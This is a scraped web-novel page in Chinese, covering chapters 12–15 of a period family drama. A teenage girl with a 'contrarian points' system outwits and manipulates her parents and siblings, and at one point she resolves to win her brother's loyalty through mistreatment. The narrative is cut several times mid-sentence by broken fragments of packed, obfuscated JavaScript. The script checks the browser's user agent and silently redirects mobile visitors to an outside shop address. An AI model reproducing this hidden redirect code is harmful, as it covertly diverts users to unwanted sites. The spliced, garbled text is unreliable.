l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565015|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五岁的经常劳动干活的女孩难道还比不上五岁小孩? 一切都是骗人的,实践出真知。 这下轮到对面担心了,宋上进的说话声音都变温和了,他好声劝道:“小南,你快把刀放下来,咱们一家人有什么不能好好说的?” 宋知南双手握刀,面带微笑:“那就好好说说吧,你们都别害怕,我是一个热爱和平的人,也是一个心软的人,我保证不先捅死你们。” 大家听到这话就更紧张了。 宋秋实人冷静下来了,精神却崩溃了,他喃喃道:“宋知南,你骗我,你说你下乡,事到临头却是我。” 宋知南语气平和地跟他讲道理:“咱们兄妹之间怎么能叫骗呢?我那是逗你玩。再说了,你比我大,按先后顺序也是该你下乡呀。孟子曰,天将大任于斯人也,必将苦其心志,劳其筋骨。男人就该多吃苦。这是上天对你的考验,你是一个没出息的废物,要是没有这番考验,你这辈子就完了。” 杠精值加5。 李玉华指着宋知南骂道:“宋知南,你这样坑你哥,你的良心过得去吗?” 宋知南一脸疑惑:“良心这玩意儿,咱们宋家有吗?你俩有吗?你们谁有掏出来给我看看。” 宋上进和李玉华的脸气得说不出话来。 杠精值加5。 宋知南继续跟大家摆事实讲道理:“你们三个都冷静冷静,宋秋实下乡这事是板上钉钉了,你们再怎么闹也没用,大家都不要情绪化。我知道你们不甘心,想去闹。但是我劝你们最好别这样。因为你们一闹,我也得闹,不闹嫌得我没礼貌。 你们要是闹得太过,我就去外面贴大字报,举报宋秋实对女同学耍流氓,举报你俩发表反、革、命言论,到时候宋秋实是不用下乡了,他可能要去劳动改造或者吃花生米,你们俩也得去劳动改造。两害相权取其轻。我劝你们就此罢手,趁着现在还有时间,赶紧去准备准备,明天高高兴兴地送人上火车,以后等我找了工作,也能减轻家里的负担,你们面子上也好看。” 李玉华呸了一声:“你想得美,我儿子过不好,你也别想过好。宋知南,你真的以为我治不了你是吗?” 李玉华此时是满心绝望,她已经想好了,等儿子下乡后,她就火速找人把宋知南这个白眼狼给嫁出去,也不管男人人品相貌如何,只要彩礼出得高就行。 宋知南从来不惮于以最坏的恶意揣测人性,她能想到李玉华和宋上进用什么方法对付她,便冷笑道:“你们也别想拿我换彩礼,你们敢干,我就敢毁了你们大家,谁收的彩礼谁去嫁,我可以亲自给亲妈送嫁,不信你们可以试试。” 李玉华背后阵阵发凉。 12.第12章美帝未灭,何以家为 宋家的气氛异常压抑,宋秋实垂头丧气,宋上进沉默不语,李玉华默默流泪。 宋知夏和宋冬宝小心翼翼得像鹌鹑似的缩在一旁,大气都不敢出,生怕不小心惹怒了谁被迁怒。他们俩现在哪一个都惹不起。 宋知夏用复杂的目光看着宋知南,她这个妹妹真是个狠人,敢情她以前的老实都是装的。怪不得有经验的老人说,不要把老实人逼得太狠,否则他们一旦发起疯来会非常可怕。看来她以后还是少招惹宋知南为妙。 宋冬宝则是偷偷打量着三姐,太可怕了,看看大哥都被坑成什么样了?关键是三姐坑了大哥还能全身而退,连顿打都没挨。以后他要乖乖的,再也不敢跟三姐作对了。同时,宋冬宝也通过这件事看清了宋秋实的实力,他就是只纸老虎,以后看他还敢惹自己。 李玉华哭了一会儿,想起宝贝儿子明早就要离开家了,赶紧擦干眼泪,翻箱倒柜去收拾东西,吃的穿的用的,每样都要带。还要多烙几张饼,多煮几个鸡蛋。鸡蛋怎么没了?李玉华嘴里骂骂咧咧的,赶紧出门去找魏芬借鸡蛋。 大家都在竖起耳朵听着宋家这边的动静,看着李玉华顶着通红的双眼出来去魏芬家,他们便哗啦一下涌到魏芬家串门,一边安慰李玉华一边打探消息:“玉华,你的眼睛都哭红了,你们俩口子可别气坏了。小南呢?” 魏芬担心宋家一家人打宋知南,就试探道:“婶子,你们没动手打小南吧?那孩子脾气勥,她要有个好歹,对你们家的名声可不好啊。” 李玉华思索片刻,最后还是没说实话,她怕她说出宋知南拿刀跟父母对着干,以后别人会连带着说家里其他几个孩子,一个女孩子都这么暴力,那家里的男孩子呢?家里的其他女孩呢?她不能让宋知南这颗老鼠屎毁了一锅好汤。 这个不能说,但控诉宋知南心狠不孝还是可以的:“哎哟,我们哪敢打她?不打她,她都要死要活的。那个白眼狼,她先是骗我们说她要下乡,没想到却偷偷把秋实的名字给写了上去。秋实可是她亲哥啊,她连自己的亲哥哥都坑,我就没见过这么狠心的人。我可怜的秋实,他今年才十八,还是个孩子啊。他从来没干过农活,也没做过家务,他连自己都照顾不好,以后可怎么活?” 魏芬却道:“婶子,秋实十八了你都不放心,那知南才十五,还是个女孩子,你咋就放心了? 李玉华被堵得说不出话来,忍不住瞪了魏芬一眼,这人怎么这么不会说话? 李玉华梗着脖子反驳:“那不一样,女娃怎么能跟男娃一样?秋实是家里的长子,是要给宋家传宗接代的,以后他还要给我们两口子养老送终。至于知南,我们养她到十五已经算是仁至义尽了。” 魏芬知道李玉华夫妻俩一向偏心,也懒得跟他们多说,便问道:“婶子,那你要借几个鸡蛋?” 李玉华说:“你有多少都拿给我,等下回买了我再还你。” 宝贝儿子要出远门,李玉华恨不得把家都搬给他。 她东家借点鸡蛋,西家借块腊肉干货,回家后又赶紧和面烙饼,油也不省了,可劲的用。 宋知夏看着她妈一勺勺地往外挖油,心疼得直抽抽,小心劝道:“妈,咱家以后不过日子了?” 李玉华正在气头上,没好气地骂道:“不过了。我的秋实都不在家,我也没心思过日子了。你们这些个丧了良心的白眼狼,下乡的本该是你们两个丧门星,那个丧良心的坑自己亲哥,骗亲爸亲妈;你胡乱找了个男人把自己摘出去过好日子去了。你们俩摸摸自己的良心,晚上睡得踏实吗?谁家的闺女会像你俩这么自私冷血?我生你们有什么用?就应该把你们都掐死!” 宋知夏被骂得抬不起头来,敢怒不敢言,但她心里却忍不住幸灾乐祸起来,爸妈不是最疼最秋实吗?他下乡去了,好了吧?一想到宋秋实要下乡吃苦,她的心情不由得舒畅起来。三妹这事干得真漂亮。 宋知夏低着头正要离开厨房躲避一下,却被李玉华叫住:“你上哪儿去?还不赶紧帮我干活,没眼色的东西。” 宋知夏缩回去接着干活,她学乖了,无论她妈怎样费油她也不吱声。反正这个家也不是她一个人的,不对,压根就不是她的,她们都是外人。 李玉华母女俩一直忙活到半夜,宋知夏回到房间时,累得连话都说不出来。她无声地塞给宋知南半张烙饼和一个煮鸡蛋,倒头便睡。 宋知南打着哈欠说了声谢谢,她半闭着眼睛把烙饼和鸡蛋都给吃了,吃完还不忘出去漱个口。 宋知南返回房间时,看着客厅里几大包袱的东西,趁着大家都在睡觉,就顺手拿了一半东西放在空间里。她担心被人发现,出去上个厕所,贴心地捡了些砖头和土坷垃塞在宋秋实的衣服和被子里,帮他增加点份量。 第二天,李玉华天不亮就起床给宋秋实做早饭,天亮时,宋知南也神清气爽地起床了。 李玉华一看到宋知南就气不打一处来,她突然想起这个白眼狼还骗了他们200块钱和30斤粮票,便追着她要:“既然你不下乡了,赶紧把钱和票还给我。” 宋知南两手一摊:“要钱没有,要命一条。” 说着,她拐进厨房,左手抓起两张烙饼,右手拿了两个煮鸡蛋,溜之大吉。 李玉华继续追着宋知南破口大骂,宋知南头也不回地说:“早上骂人不吉利,小心都报应到你大儿身上,他上车被小偷偷钱,下车摔断腿,进村被狗咬,咬得还是□□。” 李玉华一口老血憋在喉咙,险些背过气去,她终于停住了脚步。 宋知南一身轻松地离开了家,现在上班太早,早饭她已经吃了,回家又太闹,她索性坐公交去火车站溜达溜达。 火车站的广场上人头攒动,人山人海。 宋知南等了一会儿,远远地看见宋家人提着大包小包的行李簇拥着宋秋实过来了。宋秋实的同学看到他,不由得面带诧异,不是说他不用下乡吗? 宋秋实也觉得尴尬,只好岔开话题说些别的。 宋知南躲在一旁,等到宋秋实快进站时,她趁着人多再次帮他减轻负担,又顺手拿走了一包袱东西,宋秋实此时已经发现不对劲了,但上车的时间已到,说什么也晚了。 等到火车缓缓开走,李玉华忍不住放声大哭,宋上进唉声叹气,神色忧伤。宋知南则是面带微笑,事情终于告一段落,她可以专心忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566884|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的工作了。 宋知南从火车站回来,直接去妇联办公室报道,今天是她第一天上班,值得引起重视。 八点20左右,何黛来上班。8点半,何黛带着宋知南去人事科办手续。随着几道公章叭叭盖下来,宋知南正式成为妇联办公室的一名干事,妇联属于工会,因此她也是工会的一员。宋知南还领了职工福利:一身浅蓝色的工装,一条毛巾,一个搪瓷缸子,25斤食堂饭票。” 工会的其他人得知妇联又来了一名新干事,闲着没事的都过来看热闹,一看又是个年轻姑娘,不由得兴致大增,纷纷打探新人的情况。 其中最热心最爱做媒的马大姐两眼放光地拉着宋知南问:“小宋是吧,你今年多大了?有对象没有?你想找个啥样的?” 大家都竖起耳朵听着,刺探消息,人家马大姐才是专业的。 宋知南落落大方地回答:“马大姐好,我今年十五,还小呢,十五年内不打算找对象。” “哎哟哟,十五年内不找对象,十五年后你都三十了,小姑娘话不要说得那么满。你虽然年纪不大,但也可以早做准备嘛,下手晚了,好男人都被别人抢光了。” 宋知南面容严肃,语调铿锵有力:“美帝未灭,何以家为?全球不赤化,我没心思成家。” 马大姐的嘴张成了圆形:“……” 其他人的反应也跟她差不多。 不到半小时的时间,工会内部悄悄流传着一个消息:妇联办公室来了一个思想很古怪、理想很宏大的女同志,她说美帝不灭她不成家。有这样的同志,他们都替大洋彼岸的美帝捏一把冷汗。 还有个别人说,从宋知南的话可以看出来,民心可用,优势在我,美帝灭亡只是时间早晚的事。 有人错过了早上的好戏,还特地过来瞧宋知南一眼,顺便刺探一下情况。 “宋同志好,欢迎你加入我们工会,我叫赵大志。” 宋知南很有礼貌:“赵同志好。” “宋同志,我听人说,你已经发了宏愿,美帝不灭你不成家?” 宋知南:“是的,我们革命青年就是要有理想。赵大志同志,听你的名字你也是个有大志的人,你是不是也跟我一样,全球不赤化,你就不成家?” 赵大志尴尬了,“哈哈,我已经成家了。不过我也一样为国家做贡献嘛。” 赵大志接着又为自己找补一句:“宋同志,你好好干,有你这样的革命青年加入,咱们的革命事业将会从胜利走向更大的胜利。”说完,他赶紧溜了。 赵大志离开了,又有别的人来围观。 宋知南像上了峨眉山的金丝猴一样被众猴评判、围观。 何黛又气又无奈,这些人也真是的,第一天上班就搞这么大陈仗,人家小宋得多别扭呀,这帮人真是闲的。 宋知南却无所谓,她还不忘趁机宣传自己的本职工作:“我们妇联办公室,树社会主义新风,专为女同志鸣不平;妇联大舞台,受了委屈你就来。我是妇联干事宋知南,我的座右铭是:永葆激情,砥砺前行;知难而进,永不后退。” 众人:“好好,小宋,你真是个好同志。” 13.第13章家不是港湾,家是江湖 一上午时间,宋知南就在被人参观和熟悉工作中度过。到了中午,她端着搪瓷缸子去食堂打饭。 宋知南打了红烧冬瓜和醋溜土豆丝,三个馒头,她把饭菜吃得干干净净,然后趁着午休时间去纺织厂门口的副食店买了一斤如桃酥、一斤绿豆糕、一包五香瓜子和一包话梅送给魏芬,以示感谢。东西不多,主要是一片心意,感谢表示得越及时效果越好,以后人家还愿意帮你。 魏芬得知宋知南的工作正式办下来了,自然替她高兴。东西她硬是不收:“哎,我也没做什么,就是打听个消息而已,咱们多年邻居不是应该的吗?你别跟我客气。” 宋知南把东西硬塞到魏芬怀里,语气真诚:“姐,我没跟你客气,我就是想跟你分享找到工作的喜悦。我做为妹妹参加工作了,给姐姐买点吃的,不是应该的吗?你别推来推去了,快收下吧。” 魏芬见宋知南是真心想送,推辞了一下也就收下了。她再次感慨自己没帮错人,这姑娘是个知道感恩的。 宋知南又说:“魏姐,等我发了工资,我请你和两个侄女下馆子。” 魏芬笑着说:“下啥馆子,多贵呀。你发了工资好好存着别乱花,以后用钱的地方多着呢。” 两人站在门口聊了一会儿,便各回各的工位去了。魏芬把其他三样收起来,瓜子分给要好的小姐妹吃,顺便说起了宋知南,小姐妹们也纷纷夸赞宋知南是个知道感恩的,这姑娘值得帮。 午休时间,消息传得更快,很快就有人把上午在工会发生的事传了过来。 有人说道:“魏芬,你那个邻居妹子挺有意思啊,啥美帝未灭,何以家为。还有啥,妇联大舞台,委屈你就来。这顺口溜整得一套一套的,真是个人才。” “是的是的,我对她拭目以待。” 魏芬心里高兴,嘴里谦虚道:“她一个刚进妇联的新人,且得适应一阵呢。” “那倒也是。” 李玉华也在纺织厂工作,只是跟魏芬在不同的车间。她因为担心大儿子,一上午心神不宁,上班时差点出了事故,被组长严厉批评了一顿。 李玉华此时正一脸倦色的在休息室闭目养神,同车间的女工王美珍兴冲冲地跑过来恭喜李玉华:“老李,恭喜你呀,你三闺女当上妇联干事了。哎哟,咱们以后在工会也有人啦。” 其他人听到这话,刷地一下围上来,七嘴八舌地议论起来: “老李你行啊,不声不响地来了个大的。” “妇联的干事,那可是好工作,你走的哪边的门路?你也帮我姑娘问问呗。” 李玉华一脸懵,她不敢相信自己的耳朵:“美珍,你说啥?我三闺女当上妇联干事了?我咋不知道?” 王美珍也愣住了,“不会吧,这么大的事,你闺女都没告诉你?” 其他人悄悄对视一眼,有人恍然大悟,李玉华两口子偏心儿子大家都知道。听人说,她一直想让三女儿下乡,不知道为啥,最后下乡的却是大儿子。她三女儿估计是防着爹妈呢。唉,这个李玉华也真够可怜的,到头来,儿子没保住,闺女也跟她离了心。 李玉华只觉得脑中嗡地一声响,宋知南竟然被着她偷偷地找了个工作?她到底有没有把她这个妈放在眼里?呵呵,她不是一直挺厉害吗?要是她现在去闹,把她的工作闹没了,看她还怎么厉害。 李玉华想起下乡的大儿子,一时间,怒从心头起,恶向胆边生。她阴沉着脸跟大家说声:“我出去有点事。” 众人互相使着眼色,等到李玉华一出休息室便开始七嘴八舌的议论起来。 “你瞧老李那脸色够难看的,我猜她八成是找她闺女算帐去了。” “这搁谁都生气吧?工作这么大的事竟然瞒着亲妈。” “她闺女要是不瞒着,这工作还能是她的吗?” “这倒也是,厂里谁不知道李玉华两口子偏心。” …… 李玉华连走带跑,直奔妇联办公室而来。 此时,宋知南正跟何黛趴在办公桌上午睡。 李玉华怒气冲冲地进来,恶声恶气地嚷道:“宋知南,你给我出来!” 宋知南抬头一看是李玉华,当下就明白怎么回事了。何黛也被吵醒了,她不认得李玉华,还以为是来诉苦的,正要开口,就听宋知南说道:“阿黛,你去水房打两瓶开水,这位女同志是我的熟人,我来接待。” “哦哦,好的。” 何黛虽然好奇,但还提着两个热水瓶打水去了。 宋知南看着李玉华,平静地问:“你都知道了?你不用担心,我在这里挺好的。” 李玉华咬牙切齿地说:“宋知南你挺有能耐啊,竟然偷偷地找了个好工作,你说我要是找你领导闹一闹,你会咋样?” 宋知南面无表情:“妈,你要敢找我领导闹,我就去找你的领导闹,再找我爸的领导闹,大不了咱们一家三口一起回家待业呗。你说到时候,厂里会咋看我们?邻居们会咋看我们?妈,你只有一张脸,得省着脸丢。我年纪小,丢得起,你跟我爸一把年纪了,丢得起吗?” 李玉华恨恨地瞪着宋知南,那种眼神不像是看亲人,倒像是在看仇人,她恨声说道:“我怎么就生出你这个孽障?我当年为啥不狠狠心掐死你?” 宋知南耐心地给李玉华进行普法教育:“李同志,按照我国法律,我从出生的那一刻起就有了生命权,你掐死我属于犯罪。其实你是有机会的,你不怀我不就完事了吗?谁让你俩当时管不住自己呢?” 李玉华怒吼:“你给我闭嘴,你要点脸行吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577868|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋知南惊诧道:“咱俩谁不要脸?生孩子是涉黄耍流氓好不好?” “你!” 杠精系统连续播报三次,杠精值增加15分。 宋知南听到系统播报,心情相当不错,投胎投得好,杠精值少不了。这要是父母温和有爱,兄弟姐妹友好和睦,她哪来这么多杠精值?她就是命好,旁人根本模仿不了。看人看事的角度一变,天地自然变宽。 李玉华杠不过宋知南,便开始她的老把戏:哭。 她哭得鼻涕眼泪糊在一起,看上去相当不卫生。 宋知南皱着眉头,给她撕了一张草稿纸:“擦擦鼻涕吧,看着怪脏的。” 李玉华流着泪怒吼:“你到底有没有心?” 宋知南摸摸胸口:“心肯定是有的,现在正跳着呢。良心是没有的,咱家没那遗传,我也没办法。”全家都没有良心,凭什么她要有? 李玉华的哭声渐渐弱了,她盯着宋知南哑声问道:“你到底为啥变成了这个样子?以前你不是这样的。” 宋知南耐心地给她解惑:“树叶不是一天黄的,人心不是一天凉的。我是一点点地变成今天这个样子的。你们疼大的宠小的,我夹在中间又是个女儿,活是我干,气是我受,锅是我背。你舍不得十八的好大儿下乡,说他还小受不了苦,就舍得十五的我去,合着我天生就该受苦? 我抗争绝食,你们无视,那天我死了一回,逛了一回阎王殿,突然间想明白了。从此以后,你们爱谁谁,我只顾我自己。既然今生父母无缘,我就挥慧剑斩亲缘。咱们家不是温馨的港湾,咱们家就是刀光剑影的江湖,江湖嘛,少不了打打杀杀,少不了欺骗隐瞒。李同志,你说是不是?” 李玉华目光呆滞,陷入了沉默。 许久之后,她哑着嗓子说道:“小南,我承认我跟你爸是有点忽视你,那不是没办法吗?谁让咱家孩子多,你也是我身上掉下的一块肉啊,你知不知道我当初生你时……” 宋知南扬手打断她的话,一本正经地胡说八道:“停停,诉苦在我这儿无效,你别想让我愧疚。你那是没办法,我也没办法。你听过一句话吗?子女爱父母,则为之计深远。我对你们这样,就是为了让你们独立坚强,让你们思想进步。我让大哥下乡也是为了他好,我就想让他当一个独立的男人,我要让他知道,靠谁都不如靠自己,一个真正独立的男人可以不靠父母不靠姐妹也能生存。妈,你要明白我的一片苦心啊。” 李玉华此时真的不知道说什么好了。 杠精系统再次播报:杠精值加10。 宋知南对今天的收获十分满意,她和气地对李玉华说道:“李同志,咱下回再聊,你赶紧回去上班吧。你放心吧,你儿子在乡下死不了的,毕竟好人不长命,祸害活千年。” 14.第14章虐待产生忠诚 李玉华恍恍惚惚地离开了妇联办公室,回到工位,大家见到她这副失魂落魄的样子,有人心生同情,有人幸灾乐祸。 有关宋知南的消息像风一样传遍了纺织厂和家属院,邻居们听说宋知南不声不响地谋了个好工作后,不由得暗自咂舌,这姑娘真沉得住气,硬是一句话没透漏。等下班后,大家纷纷围上来打听消息。 “小南,听说你在妇联工作?” “哎哟,恭喜你呀。” 宋知南的态度还挺好:“是的,在妇联工作,领导说我口才不错,善良正直,仗义热心,就适合干这个。” 众邻居你看看我,我看看你,满心疑惑:善良正直,仗义热心? 仔细一想,人家宋知南别的不说,仗义是有的,每每路见不平,拔嘴相助。 宋知南接着说:“大家以后夫妻不和了,婆媳闹矛盾了,心里想不开了,都可以来找我。看在邻居的份上,我会好好替你们调解的。” “好的,好的。你真是个好同志,有好处都不忘邻居。” 大家伙不自觉地宋知南客气起来。人家有正式工作了,还是在工会,万一以后用得上呢,总比陌生人强吧? 只有魏芬的男人洪长山还惦记着上次的仇,依旧对宋知南不冷不热,甚至还带着一丝敌意。他要是知道宋知南的工作是自己媳妇介绍的,肯定得跟魏芬吵一架。 宋知南真诚地向洪长山道谢:“洪大哥,多亏了你,我才知道我适合调解家庭矛盾。你虽然不是个好丈夫好父亲,但你是个好邻居。” 洪长山只能无言以对。 不但邻居对宋知南变得客气,宋冬宝对她的态度也是害怕中带着一丝尊敬。 宋知南微笑:人性果然都是慕强的,谁都不例外。才一份工作而已,转变得就这么明显。 宋冬宝主动说:“三姐,今天晚上咱们吃什么?” 宋知南去厨房看了一眼装油的坛子,油坛都见底了,都是她妈败的,行,那就继续败家吧。 她说道:“切葱花打鸡蛋搅面糊,咱们摊煎饼吃。” 宋冬宝一脸纠结:“煎饼我也想吃,可是费油啊,爸妈回来骂咱们怎么办?” 宋知南挑眉:“妈给大哥烙饼费了多少油?怎么家里就只有宋秋实配吃油,我们不配?” 宋冬宝一听也觉得不公平,就是,凭什么呀。 宋知南:“让你干啥就干啥,责任我来承担。” 宋冬宝彻底无后顾之忧了,连忙点头答应:“哎哎,好。” 宋冬宝手忙脚乱地开始摊煎饼,宋知南搬个小板凳坐在厨房门口,一边监督宋冬宝干活一边给他洗脑:“冬宝,你这两天的表现不错,你有做饭的天赋,以后好好练,等有机会我把你弄进国营饭店当后厨工人。” 宋冬宝激动得手一抖:“姐,真的假的?我这样的还能进国营饭店?” 宋知南语气笃定:“我觉得没问题,你看我不就进工会了吗?事在人为。” 宋冬宝一想起这个,就暗暗佩服姐姐。 他见宋知南今天心情不错,就大着胆子多问了几句:“姐,你跟我说说,你是咋得到这份工作的?也让我也长长见识。” 宋知南一脸地云淡风轻:“一个妇联的干事而已,又不是什么位高权重的职位,不必多说。等我升到更高的位置时再跟你说。” 宋冬宝:“……” 宋知南接着说:“你是我亲弟弟,既然你问我了,我就随便说两句。你知道你姐我口才不错,会怼人会吵架对吧?” “知道知道。”他能不知道吗?他还知道姐姐会打人呢。 “我就是靠这个进去的,妇联需要我这样的人才。要不怎么说,人得有一技之长呢。” 宋冬宝无言以对,他也是今天才知道,原来会吵架也属于一技之长。 宋知南接着说:“冬宝啊,你最近小心些,别招惹爸妈,我感觉自从大哥下乡后,他俩快疯了。说到底,我们这些子女加在一起也比不上大哥一个人。” 宋冬宝有些疑惑:“我觉得也不至于吧。”他在家里也挺受宠的。 宋知南冷笑:“不至于?你好好想想,以后爸妈的工作第一个考虑谁接班?咱家的钱优先给谁?是,你也是儿子,但你不是长子,以后家里的家产大头都是大哥的,你也就喝点汤吧。当然啦,你比我们当女儿的强多了,我们连汤都喝不着。” 宋冬宝一边心不在焉地听着一边摊煎饼。 宋知南最后来一句狠的:“我就这么跟你说吧,有的人偏心偏惯了,无论对谁都偏心,你让他不偏他心里难受。在闺女和儿子之间,他们偏向儿子;在两个儿子之间,他们会偏向另一个。不为啥,这就是他们的本性,就像蝎子的本性就爱蛰人一样。你自己好好想想,我这人就是善良,自己淋过雨,就想给别人打伞。我对你可是掏心掏肺,说这些都是为了你好。我跟大哥之间是你死我活,矛盾不可调和。跟你是小打小闹,我的打是亲骂是爱。” 宋冬宝:“嗯嗯,姐,你对我可好了。”至少比对大哥好。 宋知南接着许诺好处:“冬宝,你好好干,等我发了工资,请你下馆子。我跟宋秋实不一样,我不像他自私自利吃独食。” “嗯嗯,我等着你请我。” 宋冬宝干活干得更起劲了。 宋知南点到为止,也就没再往下说。宋冬宝年纪小比较好洗脑,要不然那些老男人为啥喜欢找小姑娘,还不是因为小姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588479|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘好控制? 俗话说得好,洗脑洗得好,打都打不跑。虐待产生忠诚,她以后要把宋冬宝给虐出忠诚来。当然光虐还不行,打几个巴掌还要时不时地给个甜枣。这家伙就是个傻吊,同时也可以当作一把刀,没事扎扎宋秋实和宋上进夫妻,用他俩的儿子扎他们,效果十倍大,扎人还能诛心。 她暂时没法离开家里,那就得在家里确立自己的地位。既然家里总有一个人要掌权,为什么就不能是她? 宋冬宝在做饭,宋知夏回来了。 她看了一眼坐在马扎上看书的宋知南,欲言又止。 宋知南说:“二姐,我买了新衣服,你的衣裳还给你了。” 宋知夏赶紧说:“不要紧,你再穿几天也没事。”自从见过宋知南的刀和整人的手段,她对这个妹妹的态度就变了,忍不住想讨好她。 特别是当她听说宋知南靠自己找到了妇联的工作后,心情更加复杂,妒忌、羡慕、佩服各种情愫都有。 如果她有这本事,何至于要委身于陈安华那个丑货? 宋知夏甚至有一丝冲动,想问问宋知南能不能也帮她弄个工作,她想了想,还是作罢。她们姐妹关系很一般,尤其是最近这段时间变得更差,对方不大可能会帮她,况且,哪有那么多工作机会? 宋知夏去厨房帮着宋冬宝做饭,宋冬宝一看二姐进来了,本想趁机溜出去,宋知南淡淡扫了他一眼,他赶紧乖乖地缩回厨房继续干活。 宋知夏看弟弟这副怂样,不由得暗笑。果然,恶人自有恶人磨,谁能想到这个混蛋弟弟也有今天。 宋知夏摊好一锅煎饼,先端出来让宋知南尝尝。宋知南尝了几口,夸了一句:“味道还不错。” 两人继续摊煎饼,宋知夏看着空空的油坛,不禁担心,爸妈回来后又该骂人了,她瞥了一眼气定神闲的宋知南,心中大定,有人在前面顶着,她怕什么? 宋知南眼睛看着书,鼻子闻着煎饼的香味,心中涌起了一丝幸福感。他们这个家还是不错的,两个小的负责干活讨好她,两个老的给她提供源源不断的杠精值。这江湖要是利用好了,不比港湾差多少。 女人最重要的就是智慧、格局和心态。有了智慧和格局,看事情的维度就会自然升高,很多低维度的问题迎刃而解。比如面临原生家庭问题,所有的内耗痛苦纠结,就是因为你还把他们当亲人,当正常人。你直接把他们当奴隶和精神病,一切问题瞬间没了。无爱破情局,无情破全局。 你心态一好,看他人都是鳖孙傻吊,他们无论做出什么事,你都不会诧异,你只用慈悲宽容的眼神看着他,然后像对孙子一样狠抽他们。 今天又是顿悟的一天,每日格一物,天天有进步。 15.第15章哪里有压迫哪里就有反抗 宋上进迈着沉重的脚步回了家,他在路上听说了三女儿工作的事,这个闺女真是个狠人,不声不响地把哥哥送到了乡下,又不声不响地给自个儿找到一个好工作。他们两口子都是普通工人,没什么人脉,他知道找一个工作有多么不容易。 宋上进原本想着,等到知夏嫁到陈家,他就利用陈家的人脉给秋实找个工作,实在不行,他也只能让李玉华提前退休,跟别人换个适合秋实的岗位。 但他万万没想到知南这个白眼狼会背着全家给秋实报名下乡。他知道得太晚了,一切已成定局,无论做什么都来不及,一切计划全打乱了。宋上进一夜之间老了好几岁,儿女都是来讨债的,就没有一个省心的。 宋上进一进家门,就看见宋冬宝正忙着往客厅端饭,身上还系着围裙。 他觉得这一幕无比刺眼,冬宝可是个男孩,一个男孩子天天围着灶台转,这叫什么事?而那个始作俑者宋知南,正像个大爷似的坐在桌边等着吃饭,以前家里只有他才有资格这样。 宋上进的心头莫名涌上一股邪火,发也不敢发,压也压不住。要换作以前,他不用考虑任何后果,张口就骂,顺手就打也有可能。可是现在,他做任何事情前都得好好想一想。 宋上进只能压着火,试着跟宋知南讲道理:“小四啊,你弟今年才十四,你就忍心这么使唤他?” 宋知南一脸诧异:“十四岁很小吗?大姐二姐和我可是六七岁就开始干家务,十岁就开始洗衣做饭,你不是说穷人的孩子要早当家吗?咋地,咱家挖到黄金突然不穷了?还是说你儿子是猪,是养来杀的,所以不能干活怕掉膘?” 宋上进哑口无言。 杠精值加5。 宋上进堵得胸口发闷,气成内伤。 宋知夏在旁边听着只觉得心头一阵爽快,想笑又不敢笑。 宋冬宝不觉得可笑,因为他就是三姐嘴里的那头猪。 宋上进到家不久,李玉华也回来了。她脸色灰败,脚步发飘。邻居跟她打招呼,她都是强打起精神应付。 大家目光炯炯地盯着李玉华,这人好可怜,看来真是伤到心窝子了。 魏芬回家后,不由得担心起宋知南来,以宋家两口子的性格肯定不会善罢干休。他们只是在家里闹还能控制,万一闹到宋知南的领导那儿就不好说了,知南一个刚上班的小职工,惹来这种麻烦事,以后领导怎么看她?同事怎么看她? 魏芬想了想,决定去串个门,缓和一下气氛。 魏芬没空着手过去,她拿了自己做的咸菜疙瘩和一碗腌黄瓜去了宋家。 “宋叔,李婶。这是我自己腌的咸菜和酸黄瓜,你们尝尝。” 宋上进和李玉华勉强打起精神应付魏芬。 宋知南和宋知夏热情招呼魏芬,三人你一句我一句地聊了起来。 魏芬小心翼翼地把话题把工作上引,“知南,你终于熬出头了,咱纺织厂的妇联属于工会,你可是工会的人了。以后,咱们大家有事还得找你呢。你可给你爸妈争了光。宋叔李婶,你们说是不是?现在谁不夸咱们知南厉害?” 魏芬暗暗观察着宋上进和李玉华的脸色。 李玉华依旧面如死灰,这工作是好,是有面子,可是那又怎样?这工作又不是她儿子的,她的秋实下乡受苦去了。 宋上进若有所思,现在大儿子已经下乡了,他再怎么不满也改变不了事实。这个闺女虽然不孝顺,但也是他闺女,她有个好工作,说出去,他面上也有光,要是宋知南能上交工资那就再好不过了。 宋上进的脸色略略好看了一些,魏芬接着再劝:“宋叔,咱们知南聪明、脑子活、口才好,以后好好培养,前途大着呢。新社会新国家,姑娘儿子都一样。说什么儿子养老,你看我娘家就是三个女儿,我们姐妹三个不照样给我爸妈养老?” 